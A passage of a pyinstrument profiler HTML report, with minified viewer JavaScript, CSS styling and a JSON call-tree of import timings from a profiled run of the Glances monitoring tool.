l=document.createElement(\"link\");l.rel=\"shortcut icon\",l.href=vn,document.head.appendChild(l);const r=document.createElement(\"link\");r.rel=\"preload\",r.as=\"style\",r.onload=()=>{r.rel=\"stylesheet\"},r.href=\"https://fonts.googleapis.com/css?family=Source+Code+Pro:400,600|Source+Sans+Pro:400,600&display=swap\",document.head.appendChild(r);const o=s.rootFrame,c=o==null?void 0:o.time.toLocaleString(void 0,{maximumSignificantDigits:3});let d,v;return(v=/[^\\s/]+(:\\d+)?$/.exec(s.target_description))?d=v[0]:d=s.target_description,document.title=`${c}s - ${d} - pyinstrument`,i.$$set=p=>{\"session\"in p&&t(0,s=p.session)},[s,n]}class Jn extends he{constructor(e){super(),de(this,e,Qn,Kn,re,{session:0})}}class es{constructor(e){T(this,\"startTime\");T(this,\"duration\");T(this,\"minInterval\");T(this,\"maxInterval\");T(this,\"precision\");T(this,\"sampleCount\");T(this,\"target_description\");T(this,\"cpuTime\");T(this,\"rootFrame\");T(this,\"sysPath\");T(this,\"sysPrefixes\");T(this,\"_shortenPathCache\",{});this.startTime=e.session.start_time,this.duration=e.session.duration,this.minInterval=e.session.min_interval,this.maxInterval=e.session.max_interval,this.sampleCount=e.session.sample_count,this.target_description=e.session.target_description,this.cpuTime=e.session.cpu_time,this.sysPath=e.session.sys_path,this.sysPrefixes=e.session.sys_prefixes,this.precision=Math.ceil(-Math.log10(Math.min(Math.max(1e-9,this.maxInterval),1))),this.rootFrame=e.frame_tree?new Ke(e.frame_tree,this):null}shortenPath(e){if(this._shortenPathCache[e])return this._shortenPathCache[e];let t=e;if($e(e).length>1)for(const s of this.sysPath){const l=ts(e,s);$e(l).length<$e(t).length&&(t=l)}return this._shortenPathCache[e]=t,t}}function $e(i){return i.split(/[/\\\\]/)}function di(i){const e=$e(i);return e.length>0&&e[0].endsWith(\":\")?e[0]:null}function ts(i,e){if(di(i)!=di(e))return i;const t=$e(i),n=$e(e);let s=0;for(;s<t.length&&s<n.length&&t[s]==n[s];)s++;return n.slice(s).map(r=>\"..\").concat(t.slice(s)).join(\"/\")}return{render(i,e){const t=new es(e);return new Jn({target:i,props:{session:t}})}}}();\n</script>\n                <style>html,body{background-color:#303538;color:#fff;padding:0;margin:0}.margins{padding:0 30px}label{-webkit-user-select:none;user-select:none}label *{-webkit-user-select:initial;user-select:initial}.view-options-call-stack.svelte-1pecl4m.svelte-1pecl4m{padding:6px 9px}.option.svelte-1pecl4m.svelte-1pecl4m{display:grid;grid-template-columns:auto 1fr;align-items:start;padding-left:1px;margin-bottom:3px}.option.svelte-1pecl4m .description.svelte-1pecl4m{font-size:12px;color:#999;grid-column:2/3}.option-group.svelte-1pecl4m.svelte-1pecl4m{margin-bottom:10px}.option-group.svelte-1pecl4m .name.svelte-1pecl4m{margin-bottom:4px}.mini-input-grid.svelte-1pecl4m.svelte-1pecl4m{display:grid;grid-template-columns:auto 1fr;gap:5px;align-items:baseline;margin-top:3px;margin-bottom:2px}.mini-input-grid.svelte-1pecl4m label.svelte-1pecl4m{font-weight:600}input.svelte-1pecl4m.svelte-1pecl4m{font-family:Source Code Pro,Roboto Mono,Consolas,Monaco,monospace;font-size-adjust:.486094;border-radius:3px;background:#4e5255;padding:1px 5px;font-size:12px;border:1px solid #4e5255;color:#ccc}input.svelte-1pecl4m.svelte-1pecl4m:focus-visible{outline:1px solid #abb2b7}input[type=number].svelte-1pecl4m.svelte-1pecl4m::-webkit-inner-spin-button{-webkit-appearance:none}.view-options-timeline.svelte-vsz8zm{padding:6px 9px}.view-options.svelte-rpk7lo{position:absolute;z-index:1;right:0}.box.svelte-rpk7lo{width:90vw;max-width:282px;height:max-content;max-height:calc(100vh - 100px);position:absolute;right:0;top:calc(100% + 4px);border-radius:5px;border:1px solid #4e5255;background:#2a2f32;box-shadow:0 2px 14px -5px #00000040;overflow:hidden;display:flex;flex-direction:column}.title-row.svelte-rpk7lo{padding:5px 9px;font-size:12px;font-weight:600;background-color:#3c4144}.body.svelte-rpk7lo{overflow-y:auto;flex-basis:content;flex-shrink:1}.header.svelte-qdxst2.svelte-qdxst2{background:#292f32;font-size:14px;padding:9px 0}.row.svelte-qdxst2.svelte-qdxst2{display:flex;align-items:center;gap:10px}.logo.svelte-qdxst2.svelte-qdxst2{margin:0 -3px 0 -6px}.layout.svelte-qdxst2.svelte-qdxst2{flex:1;display:grid;gap:0 10px;grid-template-columns:auto minmax(auto,max-content)}@media (max-width: 800px){.layout.svelte-qdxst2.svelte-qdxst2{grid-template-columns:1fr}}.target-description.svelte-qdxst2.svelte-qdxst2{font-weight:600;margin-bottom:1px}.view-options.svelte-qdxst2.svelte-qdxst2{display:flex;flex-wrap:wrap}.view-options.svelte-qdxst2 label.svelte-qdxst2{margin:0 5px;white-space:nowrap}.metrics.svelte-qdxst2.svelte-qdxst2{grid-row:span 2;text-align:right;align-items:end;min-width:min-content}@media (max-width: 800px){.metrics.svelte-qdxst2.svelte-qdxst2{text-align:left}.metrics.svelte-qdxst2 br.svelte-qdxst2{display:none}}.metric.svelte-qdxst2.svelte-qdxst2{display:inline-block;white-space:nowrap;margin-left:2px}@media (max-width: 800px){.metric.svelte-qdxst2.svelte-qdxst2{margin-left:0;margin-right:2px}}.metric-label.svelte-qdxst2.svelte-qdxst2{font-weight:600;color:#fff9}.metric-value.svelte-qdxst2.svelte-qdxst2{color:#fff6}input[type=radio].svelte-qdxst2.svelte-qdxst2{vertical-align:-8%}.button-container.svelte-qdxst2.svelte-qdxst2{position:relative}button.svelte-qdxst2.svelte-qdxst2{background:#5c6063;border-radius:6px;font:inherit;font-size:.8571428571em;color:inherit;border:none;cursor:pointer}button.svelte-qdxst2.svelte-qdxst2:hover{background:#63686b}button.svelte-qdxst2.svelte-qdxst2:active{background:#55585b}.frame.svelte-7e9kco.svelte-7e9kco{font-family:Source Code Pro,Roboto Mono,Consolas,Monaco,monospace;font-size-adjust:.486094;font-size:14px;z-index:0;position:relative;-webkit-user-select:none;user-select:none}.group-header.svelte-7e9kco.svelte-7e9kco{-webkit-user-select:none;user-select:none}.group-header-button.svelte-7e9kco.svelte-7e9kco{margin-left:35px;display:inline-block;color:#ffffff94;-webkit-user-select:none;user-select:none;cursor:default;position:relative}.group-header-button.svelte-7e9kco.svelte-7e9kco:before{position:absolute;left:-3px;right:-3px;top:0;bottom:0;content:\"\";z-index:-1;background-color:#3b4043}.group-header-button.svelte-7e9kco.svelte-7e9kco:hover:before{background-color:#4a4f54}.group-triangle.svelte-7e9kco.svelte-7e9kco,.frame-triangle.svelte-7e9kco.svelte-7e9kco{width:6px;height:10px;padding-left:6px;padding-right:5px;display:inline-block}.group-triangle.rotate.svelte-7e9kco.svelte-7e9kco,.frame-triangle.rotate.svelte-7e9kco.svelte-7e9kco{transform:translate(6px,4px) rotate(90deg)}.frame-description.svelte-7e9kco.svelte-7e9kco{display:flex;white-space:nowrap}.frame-description.svelte-7e9kco.svelte-7e9kco:hover{background-color:#35475980}.frame-description.svelte-7e9kco.svelte-7e9kco:focus-visible,.group-header.svelte-7e9kco.svelte-7e9kco:focus-visible{outline:none;background-color:#37516c}.frame-triangle.svelte-7e9kco.svelte-7e9kco{opacity:1}.frame-description.children-visible.svelte-7e9kco .frame-triangle.svelte-7e9kco{opacity:0}.frame-description.children-visible.svelte-7e9kco:hover .frame-triangle.svelte-7e9kco,.frame-description.children-visible.svelte-7e9kco:focus-visible .frame-triangle.svelte-7e9kco{opacity:1}.name.svelte-7e9kco.svelte-7e9kco,.time.svelte-7e9kco.svelte-7e9kco,.code-position.svelte-7e9kco.svelte-7e9kco{-webkit-user-select:text;user-select:text;cursor:default}.application-code.svelte-7e9kco .name.svelte-7e9kco{color:#5db3ff}.time.svelte-7e9kco.svelte-7e9kco{margin-right:.55em;color:#b8e98685}.code-position.svelte-7e9kco.svelte-7e9kco{color:#ffffff80;text-align:right;margin-left:2em}.visual-guide.svelte-7e9kco.svelte-7e9kco{top:21px;bottom:0;left:0;width:2px;background-color:#fff;position:absolute;opacity:.08;pointer-events:none}.frame-description:hover~.visual-guide.svelte-7e9kco.svelte-7e9kco{opacity:.4}.frame-description:hover~.children.svelte-7e9kco .visual-guide{opacity:.15}.call-stack-view.svelte-1hebm9u{background-color:#303538;position:absolute;top:0;bottom:0;left:0;right:0;overflow:auto}.call-stack-view.svelte-1hebm9u:focus{outline:none}.scroll-inner.svelte-1hebm9u{padding-top:10px;padding-bottom:40px;box-sizing:border-box;width:auto;min-width:max-content}.call-stack-margins.svelte-1hebm9u{padding-left:18px;padding-right:18px}.scroll-size-fixer.svelte-1hebm9u{height:1px;width:100px;position:absolute;left:0}.timeline-canvas-view-tooltip.svelte-ci3g2p.svelte-ci3g2p{box-sizing:border-box;width:max-content;border-radius:2px;border:1px solid rgba(255,255,255,.09);background:#202325;box-shadow:0 4px 4px #00000040;display:grid;grid-template-columns:minmax(auto,33px) minmax(auto,1fr);gap:1px 0;padding:4px 10px 7px;color:#fff}.timeline-canvas-view-tooltip.svelte-ci3g2p .name.svelte-ci3g2p{grid-column:span 2;line-break:anywhere}.timeline-canvas-view-tooltip.svelte-ci3g2p .label.svelte-ci3g2p{color:#ffffff80;margin-right:8px}.timeline-canvas-view-tooltip.svelte-ci3g2p .time-val.svelte-ci3g2p{margin-right:10px;font-weight:600}.timeline-canvas-view-tooltip.svelte-ci3g2p .time-row.svelte-ci3g2p{display:flex;justify-content:start}.timeline-canvas-view-tooltip.svelte-ci3g2p .location-color.svelte-ci3g2p{width:9px;height:9px;margin-right:3px;border-radius:2px;position:relative;display:inline-block}.timeline-canvas-view-tooltip.svelte-ci3g2p .location-color.svelte-ci3g2p:before{content:\"\";position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid #383838;mix-blend-mode:color-dodge;border-radius:2px}.timeline.svelte-p2tt1k{position:absolute;top:0;bottom:0;left:0;right:0;overflow:hidden;-webkit-user-select:none;user-select:none}.app.svelte-1vwroj7{font-family:Source Sans Pro,Arial,Helvetica,sans-serif;font-size-adjust:.486;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:flex;flex-direction:column;position:absolute;top:0;bottom:0;left:0;right:0}.body.svelte-1vwroj7{flex:1;position:relative}\n</style>\n\n                <script>\n                    const sessionData = {\"session\": {\"start_time\": 1772893467.5349863, \"duration\": 65.90991139411926, \"min_interval\": 0.001, \"max_interval\": 0.001, \"sample_count\": 3176, \"start_call_stack\": [\"MainThread\\u0000<thread>\\u0000132327373891392\", \"<module>\\u0000/home/nicolargo/dev/glances/.venv/bin/pyinstrument\\u00001\\u0001l10\", \"main\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pyinstrument/__main__.py\\u000029\\u0001l405\"], \"target_description\": \"Program: glances -C conf/glances.conf --stop-after 30\", \"cpu_time\": 6.535676903000001, \"sys_path\": [\"/home/nicolargo/dev/glances\", \"/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python314.zip\", \"/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14\", \"/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/lib-dynload\", \"/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages\", \"__editable__.glances-4.5.1.dev3.finder.__path_hook__\"], \"sys_prefixes\": [\"/home/nicolargo/dev/glances/.venv\", \"/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu\", \"/home/nicolargo/dev/glances/.venv\", \"/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu\"]}, \"frame_tree\": {\"identifier\": \"main\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pyinstrument/__main__.py\\u000029\",\"time\": 65.908561,\"attributes\": {\"l409\": 65.90856121099932},\"children\": [{\"identifier\": \"<module>\\u0000<string>\\u00001\",\"time\": 65.908561,\"attributes\": {\"l1\": 65.90856121099932},\"children\": [{\"identifier\": \"run_module\\u0000<frozen runpy>\\u0000201\",\"time\": 65.908561,\"attributes\": {\"l222\": 0.03961866100144107, \"l226\": 65.86894254999788},\"children\": [{\"identifier\": \"_get_module_details\\u0000<frozen runpy>\\u0000105\",\"time\": 0.039619,\"attributes\": {\"l148\": 0.03961866100144107},\"children\": [{\"identifier\": \"_get_module_details\\u0000<frozen runpy>\\u0000105\",\"time\": 0.039619,\"attributes\": {\"l112\": 0.03961866100144107},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.039619,\"attributes\": {\"l1371\": 0.03961866100144107},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.039619,\"attributes\": {\"l1342\": 0.03961866100144107},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.039619,\"attributes\": {\"l938\": 0.03961866100144107},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.039619,\"attributes\": {\"cSourceFileLoader\": 0.03961866100144107, \"l762\": 0.03961866100144107},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.039619,\"attributes\": {\"l491\": 0.03961866100144107},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/__init__.py\\u00001\",\"time\": 0.039619,\"attributes\": {\"l17\": 0.0012619229964911938, \"l30\": 0.00801715600391617, \"l37\": 0.028063600999303162, \"l38\": 0.0022759810017305426},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.039619,\"attributes\": {\"l1371\": 0.03961866100144107},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.039619,\"attributes\": {\"l1342\": 0.03961866100144107},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.039619,\"attributes\": {\"l938\": 0.03961866100144107},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.039619,\"attributes\": {\"cSourceFileLoader\": 0.03961866100144107, \"l762\": 0.03961866100144107},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.039619,\"attributes\": {\"l491\": 0.03961866100144107},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/tracemalloc.py\\u00001\",\"time\": 0.001262,\"attributes\": {\"l6\": 0.0012619229964911938},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001262,\"attributes\": {\"l1371\": 0.0012619229964911938},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001262,\"attributes\": {\"l1342\": 0.0012619229964911938},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001262,\"attributes\": {\"l924\": 0.0012619229964911938},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.001262,\"attributes\": {\"l822\": 0.0012619229964911938},\"children\": [{\"identifier\": \"_init_module_attrs\\u0000<frozen importlib._bootstrap>\\u0000736\",\"time\": 0.001262,\"attributes\": {\"l774\": 0.0012619229964911938},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001262,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001\",\"time\": 0.008017,\"attributes\": {\"l27\": 0.002001011001993902, \"l39\": 0.0019979400021838956, \"l94\": 0.004018204999738373},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.002001011001993902},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.002001011001993902},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.002001011001993902},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.002001011001993902, \"l762\": 0.002001011001993902},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.002001011001993902},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l52\": 0.002001011001993902},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.006016,\"attributes\": {\"l1426\": 0.006016145001922268},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.006016,\"attributes\": {\"l491\": 0.006016145001922268},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.006016,\"attributes\": {\"l1371\": 0.006016145001922268},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.006016,\"attributes\": {\"l1333\": 0.0019979400021838956, \"l1342\": 0.004018204999738373},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001998,\"attributes\": {\"l1267\": 0.0019979400021838956},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001998,\"attributes\": {\"cPathFinder\": 0.0019979400021838956, \"l1295\": 0.0019979400021838956},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001998,\"attributes\": {\"cPathFinder\": 0.0019979400021838956, \"l1269\": 0.0019979400021838956},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001998,\"attributes\": {\"cFileFinder\": 0.0019979400021838956, \"l1401\": 0.0019979400021838956},\"children\": [{\"identifier\": \"_path_isfile\\u0000<frozen importlib._bootstrap_external>\\u0000164\",\"time\": 0.001998,\"attributes\": {\"l166\": 0.0019979400021838956},\"children\": [{\"identifier\": \"_path_is_mode_type\\u0000<frozen importlib._bootstrap_external>\\u0000155\",\"time\": 0.001998,\"attributes\": {\"l158\": 0.0019979400021838956},\"children\": [{\"identifier\": \"_path_stat\\u0000<frozen importlib._bootstrap_external>\\u0000145\",\"time\": 0.001998,\"attributes\": {\"l152\": 0.0019979400021838956},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004018,\"attributes\": {\"l938\": 0.004018204999738373},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004018,\"attributes\": {\"cSourceFileLoader\": 0.004018204999738373, \"l758\": 0.002040170998952817, \"l762\": 0.0019780340007855557},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002040,\"attributes\": {\"cSourceFileLoader\": 0.002040170998952817, \"l854\": 0.002040170998952817},\"children\": [{\"identifier\": \"get_data\\u0000<frozen importlib._bootstrap_external>\\u0000950\",\"time\": 0.002040,\"attributes\": {\"cSourceFileLoader\": 0.002040170998952817, \"l954\": 0.002040170998952817},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002040,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002040,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001978,\"attributes\": {\"l491\": 0.0019780340007855557},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001\",\"time\": 0.001978,\"attributes\": {\"l1611\": 0.0019780340007855557},\"children\": [{\"identifier\": \"Process\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001611\",\"time\": 0.001978,\"attributes\": {\"l1913\": 0.0019780340007855557},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001978,\"attributes\": {\"l289\": 0.0019780340007855557},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001978,\"attributes\": {\"l350\": 0.0019780340007855557},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001978,\"attributes\": {\"l762\": 0.0019780340007855557},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001978,\"attributes\": {\"l973\": 0.0019780340007855557},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001978,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/logger.py\\u00001\",\"time\": 0.028064,\"attributes\": {\"l13\": 0.007981203998497222, \"l14\": 0.0020011989981867373, \"l18\": 0.016000192998035345, \"l99\": 0.002081005004583858},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.025983,\"attributes\": {\"l1371\": 0.025982595994719304},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.025983,\"attributes\": {\"l1342\": 0.025982595994719304},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.025983,\"attributes\": {\"l938\": 0.025982595994719304},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.025983,\"attributes\": {\"cSourceFileLoader\": 0.025982595994719304, \"l762\": 0.025982595994719304},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.025983,\"attributes\": {\"l491\": 0.025982595994719304},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001984,\"attributes\": {},\"children\": []},{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/__init__.py\\u00001\",\"time\": 0.005997,\"attributes\": {\"l26\": 0.004334154997195583, \"l2260\": 0.0016626430005999282},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005997,\"attributes\": {\"l1371\": 0.005996797997795511},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005997,\"attributes\": {\"l1342\": 0.004334154997195583, \"l1333\": 0.0016626430005999282},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004334,\"attributes\": {\"l938\": 0.004334154997195583},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004334,\"attributes\": {\"cSourceFileLoader\": 0.004334154997195583, \"l762\": 0.004334154997195583},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004334,\"attributes\": {\"l491\": 0.004334154997195583},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/traceback.py\\u00001\",\"time\": 0.004334,\"attributes\": {\"l13\": 0.004334154997195583},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004334,\"attributes\": {\"l1371\": 0.004334154997195583},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004334,\"attributes\": {\"l1342\": 0.004334154997195583},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004334,\"attributes\": {\"l938\": 0.004334154997195583},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004334,\"attributes\": {\"cSourceFileLoader\": 0.004334154997195583, \"l762\": 0.004334154997195583},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004334,\"attributes\": {\"l491\": 0.004334154997195583},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_colorize.py\\u00001\",\"time\": 0.004334,\"attributes\": {\"l175\": 0.0024126849966705777, \"l211\": 0.0019214700005250052},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.004334,\"attributes\": {\"cSyntax\": 0.0024126849966705777, \"l1360\": 0.004334154997195583, \"cTheme\": 0.0019214700005250052},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.004334,\"attributes\": {\"cSyntax\": 0.0024126849966705777, \"l1163\": 0.004334154997195583, \"cTheme\": 0.0019214700005250052},\"children\": [{\"identifier\": \"add_fns_to_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000478\",\"time\": 0.004334,\"attributes\": {\"c_FuncBuilder\": 0.004334154997195583, \"l506\": 0.004334154997195583},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002413,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001921,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001663,\"attributes\": {\"l1267\": 0.0016626430005999282},\"children\": [{\"identifier\": \"find_spec\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/_distutils_hack/__init__.py\\u0000101\",\"time\": 0.001663,\"attributes\": {\"cDistutilsMetaFinder\": 0.0016626430005999282, \"l107\": 0.0016626430005999282},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001663,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/config.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l369\": 0.0020011989981867373},\"children\": [{\"identifier\": \"BaseConfigurator\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/logging/config.py\\u0000369\",\"time\": 0.002001,\"attributes\": {\"l374\": 0.0020011989981867373},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.002001,\"attributes\": {\"l289\": 0.0020011989981867373},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.002001,\"attributes\": {\"l350\": 0.0020011989981867373},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.002001,\"attributes\": {\"l766\": 0.0020011989981867373},\"children\": [{\"identifier\": \"_code\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000590\",\"time\": 0.002001,\"attributes\": {\"l599\": 0.0020011989981867373},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.002001,\"attributes\": {\"l133\": 0.0020011989981867373},\"children\": [{\"identifier\": 